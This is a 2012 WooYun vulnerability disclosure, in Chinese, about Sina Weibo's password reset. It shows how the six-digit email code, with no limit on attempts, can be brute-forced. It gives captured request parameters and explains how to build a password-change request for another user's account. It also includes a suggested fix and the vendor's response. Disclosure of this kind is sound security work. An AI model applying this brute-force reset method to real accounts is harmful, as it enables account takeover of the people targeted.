当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09452

漏洞标题:新浪微搏修改任意用户密码

相关厂商:新浪

漏洞作者: only_guest

提交时间:2012-07-10 23:46

修复时间:2012-07-11 12:08

公开时间:2012-07-11 12:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-10: 细节已通知厂商并且等待厂商处理中
2012-07-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

和最近爆的几个修改任意用户密码的漏洞有些点相似.知道帐号就能修改密码.

详细说明:

弱伪随机数引起的问题.下面附上详细过程.
使用新浪微搏帐号的密码找回功能


首先选择安全邮箱找回密码


跳转到此页面.6位数字.000000-999999范围.如果没有尝试次数的限制,破解是很容易的.我们继续向下看.


从邮箱查看到真实的验证码为746486
然后我们回到密码找回页面输入正确的验证码来尝试修改密码.

loginname=5447055%40qq.com&uid=2393972150&timestamp=1341933068&ag=&m=f06f8b141fea148217d15f3939b0cac1&_email=5447055%40qq.com&confirm=746486


在提交的时候抓到上面的包文内容


因为有密码强度的限制.于是我把密码修改为asdasd123


抓到如下内容

loginname=5447055%40qq.com&uid=2393972150&timestamp=1341933068&ag=&m=f06f8b141fea148217d15f3939b0cac1&_confirm=746486&m2=edcf24f53e86e9c23f82e28458ba647e&password=b381431d2daf7c7d0f11e496510abef6405e491fabc26bc87e144dc5f52f6e24b40a8dfde7fc7e42e4261483d87f31dcc85bd704aff45f29c0c7bc122beaadcb2aead81e621f36070e50d1607d91457b8f2065079920cb7bf18acaebdfbda09c2985fc08a9129591654c997dab97fde294dba9f8160d50889e544233d25f41bf&cpassword=248798cfcafceb43041a883ebdd515ceb90622b01c2b4ed03979c1aa97d516a1c6de42fa970c60c7962f9336bb03e5cbd32632d03f47623326178374b8216df76578f9c88d12ee7239ce2bcd43ba965f26def411b69c90a43c8e7428829e0d674d58d1a9a786b2e904ac854e46677563f20d236423ff483ce0486e0ad6fe9bea


对比了一下.找到相同的参数如下
loginname
uid
timestamp
ag
m
confirm
剩余的参数我猜想应该是我修改的新密码.
也就是说.我只要有以上参数就可以修改密码了.
上述参数中,除confirm外都是已知的,也就是说只有那个6位随机数需要我们去破解.就可以修改密码了.我来做一个这样的尝试.


聪明的同学们看懂了么?
图中马赛克部分为我的cookies


在长达10几分钟的破解时间后.通过使用回包大小的排序,
我看到得到了上图中所示的这个随机码.
668707,然后看这个验证码的回包中有如下关键词.

<ul class="W_f14 W_fb topic_list clearfix">
<li>设置新密码</li>
</ul>
<div class="form_table">
<dl class="clearfix">
<dt>新密码:š</dt>
<dd class="conbox">
<input type="password" class="W_inputStp width1" name="password" node-type="password" />


也就是说找到了正确的验证码.但这个时候找回密码的页面已经超时了.
我们在回包中找找上文中我们所需要的几个参数,找到如下内容

<div class="form_cloud_con"><form name="setpassword" id="setpassword" action="" method="post">
<input type="hidden" name="loginname" value="[email protected]" />
<input type="hidden" name="uid" value="2393972150" />
<input type="hidden" name="timestamp" value="1341934162" />
<input type="hidden" name="ag" value="" />
<input type="hidden" name="m" value="9fb40f6ce6c6d0449674b9ca2211eb13" />
<input type="hidden" name="_confirm" value="668707" />
<input type="hidden" name="m2" value="57bf4004860b27ee006c611fc7a4ac63" />
<dl><dd class="space_b">


然后下面大家都知道了.构造上文中那个修改密码的包.修改密码就好了....
结束.

漏洞证明:


修复方案:

不要使用这类弱伪随机数做为找回密码的凭证,也不要不限制尝试次数.

版权声明:转载请注明来源 only_guest@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-07-11 12:08

厂商回复:

感谢only_guest反馈的该问题,要利用该问题,需在获知用户个人信息的前提下,通过暴力破解来实现。实际危害较轻微。新浪一直以来都在全力保护用户安全,暴力破解的问题,目前已经解决,请各位用户放心。
故对该问题进行”忽略“(公开)处理。请only_guest将联系方式发送给我们,我们将提供一份礼品表示感谢。感谢各位对新浪安全的支持!

漏洞Rank:18 (WooYun评价)

最新状态:

暂无